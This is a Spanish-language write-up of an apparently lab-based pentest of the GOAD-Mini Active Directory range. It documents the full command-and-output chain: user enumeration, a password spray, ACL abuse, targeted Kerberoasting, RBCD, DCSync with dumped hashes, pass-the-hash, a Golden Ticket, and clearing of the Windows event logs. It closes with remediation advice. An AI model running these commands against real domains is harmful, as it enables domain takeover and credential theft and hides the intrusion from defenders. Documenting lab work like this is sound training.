Introducción

Contexto del Laboratorio

GOAD-Mini (Game of Active Directory Mini) es un entorno de práctica ofensiva creado por WazeHell que simula una infraestructura corporativa Windows con Active Directory intencionalmente mal configurada. A diferencia de máquinas individuales como las de Hack The Box, GOAD-Mini replica el escenario de un pentest real: múltiples máquinas, un dominio AD, relaciones de confianza, usuarios con permisos excesivos y vectores de ataque encadenados.

Objetivos

• Enumerar el entorno de Active Directory desde cero, sin credenciales iniciales.

• Identificar usuarios, grupos, SPNs, AS-REP Roastable accounts y ACLs mal configuradas.

• Ejecutar ataques ofensivos: AS-REP Roasting, Kerberoasting, abuso de ACLs.

• Moverse lateralmente entre máquinas del dominio hasta alcanzar Domain Admin.

• Documentar cada paso con contexto técnico para uso en portafolio profesional.

Topología del Laboratorio

Infraestructura y Entorno de Trabajo

Arquitectura del Laboratorio

GOAD-Mini es el laboratorio más compacto de la suite Game of Active Directory de Orange Cyberdefense. Consiste en una única máquina Windows Server 2019 que actúa como Domain Controller del dominio SEVENKINGDOMS.LOCAL, con Windows Defender activo por defecto. El despliegue se realiza mediante Vagrant sobre VMware Workstation, gestionado a través del script goad.sh.

Configuración de Red

Segmentación y Verificación de Despliegue

./goad.sh -t status -l GOAD-Mini -p vmware

Usuarios del Dominio

Reconocimiento Inicial

Descubrimiento de Hosts

sudo nmap -sn 192.168.56.0/24

Nmap scan report for 192.168.56.10
MAC Address: 00:0C:29:FC:65:B1 (VMware)
Nmap scan report for 192.168.56.1

Escaneo de Puertos

sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn -oG allPorts 192.168.56.10

DC01 – Puertos Abiertos

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 128
80/tcp    open  http             syn-ack ttl 128
88/tcp    open  kerberos-sec     syn-ack ttl 128
135/tcp   open  msrpc            syn-ack ttl 128
139/tcp   open  netbios-ssn      syn-ack ttl 128
389/tcp   open  ldap             syn-ack ttl 128
445/tcp   open  microsoft-ds     syn-ack ttl 128
464/tcp   open  kpasswd5         syn-ack ttl 128
593/tcp   open  http-rpc-epmap   syn-ack ttl 128
636/tcp   open  ldapssl          syn-ack ttl 128
3268/tcp  open  globalcatLDAP    syn-ack ttl 128
3269/tcp  open  globalcatLDAPssl syn-ack ttl 128
3389/tcp  open  ms-wbt-server    syn-ack ttl 128
5985/tcp  open  wsman            syn-ack ttl 128
5986/tcp  open  wsmans           syn-ack ttl 128
9389/tcp  open  adws             syn-ack ttl 128
47001/tcp open  winrm            syn-ack ttl 128

Escaneo de Versiones de los puertos

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-01 07:12:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after:  2027-07-29T03:27:55
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after:  2027-07-29T03:27:55
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after:  2027-07-29T03:27:55
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after:  2027-07-29T03:27:55
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: SEVENKINGDOMS
|   NetBIOS_Domain_Name: SEVENKINGDOMS
|   NetBIOS_Computer_Name: KINGSLANDING
|   DNS_Domain_Name: sevenkingdoms.local
|   DNS_Computer_Name: kingslanding.sevenkingdoms.local
|   DNS_Tree_Name: sevenkingdoms.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-08-01T07:13:33+00:00
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-28T03:26:09
|_Not valid after:  2027-01-27T03:26:09
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/wsmans?
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2026-07-27T20:20:55
|_Not valid after:  2029-07-26T20:20:55
| tls-alpn:
|   h2
|_  http/1.1
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
MAC Address: 00:0C:29:FC:65:B1 (VMware)
Service Info: Host: KINGSLANDING; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: KINGSLANDING, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:fc:65:b1 (VMware)
| smb2-time:
|   date: 2026-08-01T07:13:32
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Enumeración Web – Puerto 80

Identificación del Dominio

    nmblookup -A 192.168.56.10
    
    Looking up status of 192.168.56.10
    KINGSLANDING    <00> -         M <ACTIVE>
    SEVENKINGDOMS   <00> - <GROUP> M <ACTIVE>
    SEVENKINGDOMS   <1c> - <GROUP> M <ACTIVE>
    KINGSLANDING    <20> -         M <ACTIVE>
    SEVENKINGDOMS   <1b> -         M <ACTIVE>
    
    MAC Address = 00-0C-29-FC-65-B1

netexec smb 192.168.56.10

SMB    192.168.56.10   445   KINGSLANDING   [*] Windows 10 / server 2019
Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) 
(signing:True) (SMBv1:False) (Null Auth:True)

Enumeración de Active Directory

Enumeración sin Credenciales

SMB Anónimo

    smbclient -L //192.168.56.10// -N
    Anonymous login successful
    
    Sharename       Type      Comment
    ---------       ----      -------
    SMB1 disabled -- no workgroup available

LDAP – Consultas Anónimas

     ldapsearch -x -H ldap://192.168.56.10 \
    > -b "DC=sevenkingdoms,DC=local"
    # extended LDIF
    #
    # LDAPv3
    # base <DC=sevenkingdoms,DC=local> with scope subtree
    # filter: (objectclass=*)
    # requesting: ALL
    #
    
    # search result
    search: 2
    result: 1 Operations error
    text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
    tion a successful bind must be completed on the connection., data 0, v4563

Enumeracion con Enum4linux-ng

====================================================
|    Domain Information via RPC for 192.168.56.10    |
====================================================
[+] Domain: SEVENKINGDOMS
[+] Domain SID: S-1-5-21-192275561-2566161430-2385015979
[+] Membership: domain member

Enumeración de Usuarios con Kerbrute

Se realizó OSINT sobre la documentación oficial de GOAD, donde se identificaron los usuarios del dominio. Con esta información se construyó una wordlist en formato nombre.apellido para validar su existencia en el dominio mediante kerbrute, sin generar eventos de autenticación fallida.

tywin.lannister
jaime.lannister
tyron.lannister
cersei.lannister
robert.baratheon
joffrey.baratheon
renly.baratheon
stannis.baratheon
petyer.baelish
lord.varys
maester.pycelle

kerbrute userenum --dc 192.168.56.10 -d sevenkingdoms.local users.txt -o 
valid_users.txt

__             __               __
/ /_____  _____/ /_  _______  __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 08/01/26 - Ronnie Flathers @ropnop

2026/08/01 23:19:10 >  Using KDC(s):
2026/08/01 23:19:10 >   192.168.56.10:88

2026/08/01 23:19:10 >  [+] VALID USERNAME:   tywin.lannister@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   tyron.lannister@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   cersei.lannister@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   robert.baratheon@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   joffrey.baratheon@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   jaime.lannister@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   renly.baratheon@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   petyer.baelish@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   lord.varys@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   maester.pycelle@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   stannis.baratheon@sevenkingdoms.local
2026/08/01 23:19:10 >  Done! Tested 11 usernames (11 valid) in 0.006 seconds

Identificación de Cuentas AS-REP Roastables

GetNPUsers.py sevenkingdoms.local/ -dc-ip 192.168.56.10 \
-usersfile users.txt \
-no-pass \
-format hashcat
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[-] User tywin.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jaime.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tyron.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User cersei.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robert.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User joffrey.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User renly.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User stannis.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User petyer.baelish doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lord.varys doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User maester.pycelle doesn't have UF_DONT_REQUIRE_PREAUTH set

Password Spray via SMB con Netexec

nxc smb 192.168.56.10 -u users.txt \
-p /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt

SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\tywin.lannister:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\jaime.lannister:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\tyron.lannister:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\cersei.lannister:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\robert.baratheon:password STATUS_ACCOUNT_RESTRICTION
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\joffrey.baratheon:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\renly.baratheon:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\stannis.baratheon:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\petyer.baelish:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\lord.varys:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\maester.pycelle:password STATUS_LOGON_FAILURE
[...]
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\tywin.lannister:monkey STATUS_ACCOUNT_LOCKED_OUT
[...]

Enumeración Web con Feroxbuster

feroxbuster -u http://192.168.56.10/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt

301  GET  http://192.168.56.10/certenroll => http://192.168.56.10/certenroll/
401  GET  http://192.168.56.10/certsrv

Segundo Intento – User-as-Password via Kerbrute

kerbrute passwordspray --user-as-pass users.txt -d sevenkingdoms.local 
--dc 192.168.56.10
__             __               __
/ /_____  _____/ /_  _______  __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

2026/08/02 03:04:09 >  Using KDC(s):
2026/08/02 03:04:09 >  Done! Tested 11 logins (0 successes) in 0.026 seconds

Conclusión de la Fase sin Credenciales

Enumeración con Credenciales

Una vez obtenida la credencial inicial tywin.lannister:powerkingftw135, proporcionada por la documentación oficial del lab como punto de entrada, se procedió a ampliar la enumeración de Active Directory via SMB para obtener un mapeo completo de usuarios y grupos del dominio.

Usuarios y Grupos

    nxc smb 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' --groups
    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)
     (domain:sevenkingdoms.local) (signing:True) (SMBv1:False) (Null Auth:True)
    KINGSLANDING     [+] sevenkingdoms.local\tywin.lannister:powerkingftw135
    KINGSLANDING     [-] [REMOVED] Arg moved to the ldap protocol

nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' --groups

Enumeración de Grupos Específicos

nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' 
--group Administrators
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' 
--group 'Remote Desktop Users'
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' 
--group 'Baratheon'
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' 
--group 'Domain Admins'
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' 
--group 'Small Council'

BloodHound – Grafo del Dominio

bloodhound-python -u tywin.lannister -p powerkingftw135 \
-dc kingslanding.sevenkingdoms.local \
-d sevenkingdoms.local -c All \
-ns 192.168.56.10

INFO: Found AD domain: sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 1 computers
INFO: Found 16 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 9 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Done in 00M 01S

Ataques y Abuso de ACLs

Cadena de Escalada Identificada

BloodHound identificó la siguiente ruta de escalada desde tywin.lannister hasta Domain Admin:

ForceChangePassword: tywin.lannister → jaime.lannister

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tywin.lannister -p powerkingftw135 \
-H kingslanding.sevenkingdoms.local \
set password jaime.lannister 'NewPassword123!'

[+] Password changed successfully!

GenericWrite: jaime.lannister → joffrey.baratheon

     bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
    -u jaime.lannister -p 'NewPassword123!' \
    -H kingslanding.sevenkingdoms.local \
    set object joffrey.baratheon servicePrincipalName \
    -v 'fake/kingslanding.sevenkingdoms.local'
    
    [+] joffrey.baratheon's servicePrincipalName has been updated

Verificacion de subida exitosa del SPN

GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10

Solicitud del Hash TGS – Kerberoasting Dirigido

GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10 -request -outputfile kerberoast_hash.txt

[-] CCache file is not found. Skipping...

GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10 -request -outputfile kerberoast.txt -debug

[-] CCache file is not found. Skipping...
[+] Trying to connect to KDC at 192.168.56.10:88
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$...[hash]

Crackeo del Hash con Hashcat

hashcat -m 13100 kerberoast.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$
sevenkingdoms.local/joffrey.baratheon*$5b8e0d12252e...
[hash truncado por longitud]
...:1killerlion

Status: Cracked
Time: 2 segundos

WriteDacl: joffrey.baratheon → tyron.lannister

dacledit.py sevenkingdoms.local/joffrey.baratheon:1killerlion 
-dc-ip 192.168.56.10 -principal joffrey.baratheon -target tyron.lannister
-ace-type allowed -action write -rights FullControl

[*] DACL backed up to dacledit-20260803-082944.bak
[*] DACL modified successfully!

Forcechangepasswd: joffrey.baratheon → tyron.lannister

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u joffrey.baratheon -p 1killerlion \
-H kingslading.sevenkingdoms.local \
set password tyron.lannister 'Newpasswd'

[+] Password changed successfully!

Self-Membership: tyron.lannister → Small Council

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
add groupMember 'Small Council' tyron.lannister

[+] tyron.lannister added to Small Council

AddMember: Small Council → DragonStone

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
add groupMember 'DragonStone' tyron.lannister

[+] tyron.lannister added to DragonStone

WriteOwner: DragonStone → KingsGuard

Paso 1 – Cambiar Owner de KingsGuard

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
set owner KingsGuard tyron.lannister

[+] Old owner S-1-5-21-192275561-2566161430-2385015979-1000
is now replaced by tyron.lannister on KingsGuard

Paso 2 – Asignar FullControl sobre KingsGuard

dacledit.py sevenkingdoms.local/tyron.lannister:'NewPassword456!' \
-dc-ip 192.168.56.10 \
-principal tyron.lannister \
-target KingsGuard \
-ace-type allowed -action write -rights FullControl

[*] DACL modified successfully!

Paso 3 – Agregarse al Grupo KingsGuard

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
add groupMember KingsGuard tyron.lannister

[+] tyron.lannister added to KingsGuard

GenericAll: KingsGuard → stannis.baratheon

GenericAll: stannis.baratheon → DC (KINGSLANDING$)

Paso 1 – Crear Computadora Falsa del Atacante

addcomputer.py sevenkingdoms.local/stannis.baratheon:'NewPassword789!' \
-computer-name 'EVILPC$' \
-computer-pass 'EvilPass123!' \
-dc-ip 192.168.56.10

[*] Successfully added machine account EVILPC$ with password EvilPass123!.

Paso 2 – Configurar RBCD en KINGSLANDING$

rbcd.py sevenkingdoms.local/stannis.baratheon:'NewPassword789!' \
-dc-ip 192.168.56.10 \
-action write \
-delegate-to 'KINGSLANDING$' \
-delegate-from 'EVILPC$'

[*] Delegation rights modified successfully!

Paso 3 – Solicitar Ticket como Administrator (S4U2Proxy)

getST.py sevenkingdoms.local/'EVILPC$':'EvilPass123!' \
-dc-ip 192.168.56.10 \
-spn cifs/kingslanding.sevenkingdoms.local \
-impersonate Administrator

[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local
@SEVENKINGDOMS.LOCAL.ccache

Paso 4 – Exportar el Ticket

export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local\
@SEVENKINGDOMS.LOCAL.ccache

Movimiento Lateral y Escalada de Privilegios

Acceso Remoto al DC – Ejecución de Comandos

Intento 1 – wmiexec.py

wmiexec.py -k -no-pass \
sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local
[*] SMBv3.0 dialect used
^C

Por qué no funcionó: la conexión SMBv3 se estableció correctamente pero la herramienta quedó bloqueada. Windows Defender detectó el proceso WMI remoto antes de ejecutar.

Intento 2 – smbexec.py

smbexec.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND

Por qué no funcionó: Windows Defender eliminó el ejecutable temporal que smbexec subió a ADMIN$ antes de que pudiera ser invocado.

Intento 3 – atexec.py

atexec.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local whoami
[*] Creating task \oAbYNkUV
[*] Running task \oAbYNkUV
[*] Deleting task \oAbYNkUV
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND

Por qué no funcionó: la tarea programada se creó y ejecutó pero Windows Defender eliminó el archivo de salida en ADMIN$\Temp antes de que impacket pudiera leerlo.

DCSync Exitoso – secretsdump.py

secretsdump.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local

[*] Dumping local SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581
a1705e:::

[*] Dumping Domain Credentials via DRSUAPI
Administrator:500:...:c66d72021a2d4744409969a581a1705e:::
krbtgt:502:...:116c0df36b45aab6e25ad233562e356c:::
tywin.lannister:1111:...:af52e9ec3471788111a6308abff2e9b7:::
jaime.lannister:1112:...:0ef3298edfc59e0cd07c56d829eea9c6:::
cersei.lannister:1113:...:c247f62516b53893c7addcf8c349954b:::
[... resto de usuarios ...]

Administrator:aes256-cts-hmac-sha1-96:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48
efdd56424e1206e581e4dd827
krbtgt:aes256-cts-hmac-sha1-96:856441d8798b084e5b0fe6bb28ba5f48bd8f8cf8c51aa3f02
c2f40cceda14b4b

Pass-the-Hash – Acceso como Administrator via evil-winrm

evil-winrm -i 192.168.56.10 -u Administrator \
-H c66d72021a2d4744409969a581a1705e

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\administrator\Documents> whoami
sevenkingdoms\administrator

*Evil-WinRM* PS C:\Users\administrator\Documents> hostname
kingslanding

Post-Explotación y Borrado de Evidencias

Persistencia – Golden Ticket

ticketer.py -nthash 116c0df36b45aab6e25ad233562e356c \
-domain-sid S-1-5-21-192275561-2566161430-2385015979 \
-domain sevenkingdoms.local \
fakeuser

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sevenkingdoms.local/fakeuser
[*] Signing/Encrypting final ticket
[*] Saving/Updating ticket in fakeuser.ccache

export KRB5CCNAME=fakeuser.ccache
secretsdump.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/fakeuser@kingslanding.sevenkingdoms.local

[*] Dumping Domain Credentials via DRSUAPI
Administrator:500:...:c66d72021a2d4744409969a581a1705e:::
krbtgt:502:...:116c0df36b45aab6e25ad233562e356c:::
[...]

Borrado de Evidencias

# Eliminar cuenta de computadora EVILPC$ creada para RBCD
addcomputer.py sevenkingdoms.local/Administrator \
-hashes :c66d72021a2d4744409969a581a1705e \
-dc-ip 192.168.56.10 \
-computer-name 'EVILPC$' \
-delete

# Limpiar logs de eventos en el DC (desde evil-winrm)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Eliminar archivos temporales en la maquina atacante
rm fakeuser.ccache kerberoast.txt kerberoast_hash.txt
rm Administrator@cifs_kingslanding.sevenkingdoms.local\
@SEVENKINGDOMS.LOCAL.ccache

Vulnerabilidades y Recomendaciones

Resumen de Vulnerabilidades

Recomendaciones

ACLs Mal Configuradas

Auditar regularmente las ACLs del dominio con BloodHound. Ningún usuario regular debe tener permisos como ForceChangePassword, GenericWrite, WriteDACL o GenericAll sobre otros objetos del dominio sin justificación explícita y documentada. Aplicar el principio de menor privilegio en cada objeto del directorio.

Targeted Kerberoasting

Evitar registrar SPNs en cuentas de usuario. Si es necesario, usar contraseñas de mínimo 25 caracteres o implementar Group Managed Service Accounts (gMSA) que rotan su contraseña automáticamente y cuyo hash no es crackeable offline.

RBCD – Resource-Based Constrained Delegation

Reducir el valor de ms-DS-MachineAccountQuota a 0 para impedir que usuarios no privilegiados creen cuentas de computadora. Auditar regularmente el atributo msDS-AllowedToActOn BehalfOfOtherIdentity en objetos computadora críticos como los Domain Controllers.

DCSync

Restringir los permisos de Replicating Directory Changes únicamente a los Domain Controllers. Auditar regularmente qué cuentas poseen este derecho y alertar ante cualquier uso del protocolo DRSUAPI desde equipos que no sean DCs.

Contraseñas Débiles

Implementar políticas de contraseñas robustas con mínimo 15 caracteres, complejidad obligatoria y rotación periódica. La contraseña 1killerlion de joffrey.baratheon fue crackeada en menos de 2 segundos con rockyou.txt.

Reflexión Final

Qué salió bien

La fase de reconocimiento inicial fue ejecutada de forma ordenada y sistemática, identificando correctamente todos los servicios expuestos, el FQDN del dominio y los vectores potenciales antes de intentar cualquier ataque. La identificación de AD CS mediante feroxbuster fue un hallazgo relevante que no estaba en el plan inicial. La enumeración con credenciales fue eficiente una vez obtenido el punto de entrada, mapeando usuarios, grupos y ACLs correctamente mediante netexec y bloodhound-python. La cadena de abuso de ACLs se ejecutó paso a paso sin perder el hilo de la escalada, comprendiendo el propósito de cada permiso antes de explotarlo. La documentación simultánea al ataque permitió capturar cada detalle sin necesidad de reconstruir los pasos a posteriori.

Qué salió mal

Se invirtió tiempo considerable intentando enumerar el dominio y encontrar un vector de entrada sin credenciales, probando password spray, AS-REP Roasting, user-as-password y enumeración anónima por LDAP. El password spray provocó un lockout masivo de 10 de 11 cuentas del dominio – en un entorno real esto habría alertado inmediatamente al equipo de seguridad y comprometido la operación. Solo al consultar el repositorio oficial de GOAD-Mini se determinó que el lab está diseñado para comenzar con credenciales proporcionadas. También se perdió tiempo con los intentos fallidos de ejecución remota (wmiexec, smbexec, atexec) sin investigar primero el impacto de Windows Defender en el DC antes de elegir la herramienta.

Lecciones Aprendidas

Este laboratorio representó la primera exposición práctica completa a Active Directory ofensivo y superó ampliamente las expectativas iniciales en complejidad técnica. Los conceptos de enumeración AD, abuso de ACLs, Kerberoasting dirigido, RBCD y DCSync eran completamente nuevos antes de este lab.

La lección más importante fue entender que en Active Directory el vector de ataque rara vez es una vulnerabilidad clásica – es la combinación de permisos excesivos encadenados. Una cuenta con ForceChangePassword sobre otra, que tiene GenericWrite sobre una tercera, que tiene WriteDACL sobre una cuarta…cada eslabón por separado parece inofensivo. Encadenados, llevan a Domain Admin.

BloodHound cambia completamente la forma de visualizar un dominio. Lo que sería imposible de identificar manualmente en un entorno con decenas de objetos se convierte en una ruta visible en segundos. El concepto de grafo de ataque es fundamental para el trabajo ofensivo en AD.

El ataque RBCD fue la técnica más compleja y reveladora del lab. Abusar de GenericAll sobre un objeto computadora para configurar delegación, crear una cuenta falsa y solicitar un ticket como Administrator via S4U2Proxy es un vector que demuestra la profundidad del protocolo Kerberos como superficie de ataque. Finalmente, la limitación de Windows Defender sobre las herramientas de ejecución remota enseñó que la elección de la herramienta correcta depende del entorno – secretsdump.py con DRSUAPI fue la alternativa sigilosa que no requirió interacción con el sistema de archivos del DC.

Tiempo Total